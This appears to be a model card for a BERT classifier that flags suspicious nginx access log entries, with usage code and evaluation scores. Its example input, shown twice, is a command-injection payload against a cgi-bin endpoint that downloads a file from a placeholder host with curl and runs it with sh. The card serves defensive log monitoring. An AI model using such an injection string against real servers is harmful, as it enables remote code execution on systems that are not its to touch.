Log Inspector

Pretrained model on nginx access logs. Based on bert-base-cased.

How to use

Here is how to use this model to inspect a log.

Given text must be parsed as like:
"path: <path>; ref:<referrer>; ua:<user agent>;"

>>> from transformers import pipeline
>>> inspector = pipeline('text-classification', model="u-haru/log-inspector")
>>> inspector('path: /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*";cd /tmp;curl -O http://O.O.O.O/zero;sh zero;"; ref:-; ua:-;')
[{'label': 'LABEL_0', 'score': 0.9999788999557495}]

class 0 is a suspicious log. class 1 is a safe log.

With simpletransformer:

>>> from simpletransformers.classification import ClassificationModel
>>> model = ClassificationModel('bert', "u-haru/log-inspector", num_labels=2, use_cuda=(use_cuda and torch.cuda.is_available()), args=param)
>>> predictions, raw_outputs = model.predict(['path: /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*";cd /tmp;curl -O http://O.O.O.O/zero;sh zero;"; ref:-; ua:-;'])
>>> print(predictions)
[0]

Evaluate or training:

>>> from simpletransformers.classification import ClassificationModel
>>> model = ClassificationModel('bert', "u-haru/log-inspector", num_labels=2, use_cuda=(use_cuda and torch.cuda.is_available()), args=param)
>>> data = [["Suspicious log",0],["Safe log",1]]
>>> df = pd.DataFrame(data)

>>> model.train_model(df)
>>> result, model_outputs, wrong_predictions = model.eval_model(df)
>>> print(result)
{'mcc': 1.0, 'tp': 1, 'tn': 1, 'fp': 0, 'fn': 0, 'auroc': 1.0, 'auprc': 1.0, 'eval_loss': 1.8238850316265598e-05}

I trained with 9500 access logs. Here is evaluation score:

{'mcc': 0.993114718313972, 'tp': 1639, 'tn': 729, 'fp': 0, 'fn': 7, 'auroc': 0.9994166345815686, 'auprc': 0.9997937194890235, 'eval_loss': 0.020282083051662583}

and evaluation with 10000 logs:

{'mcc': 0.8494104528008076, 'tp': 9964, 'tn': 26, 'fp': 0, 'fn': 10, 'auroc': 0.9999845752803442, 'auprc': 0.9999999597891697, 'eval_loss': 0.0058870489358901976}

Training

Source codes are available here: github.com/u-haru/log-inspector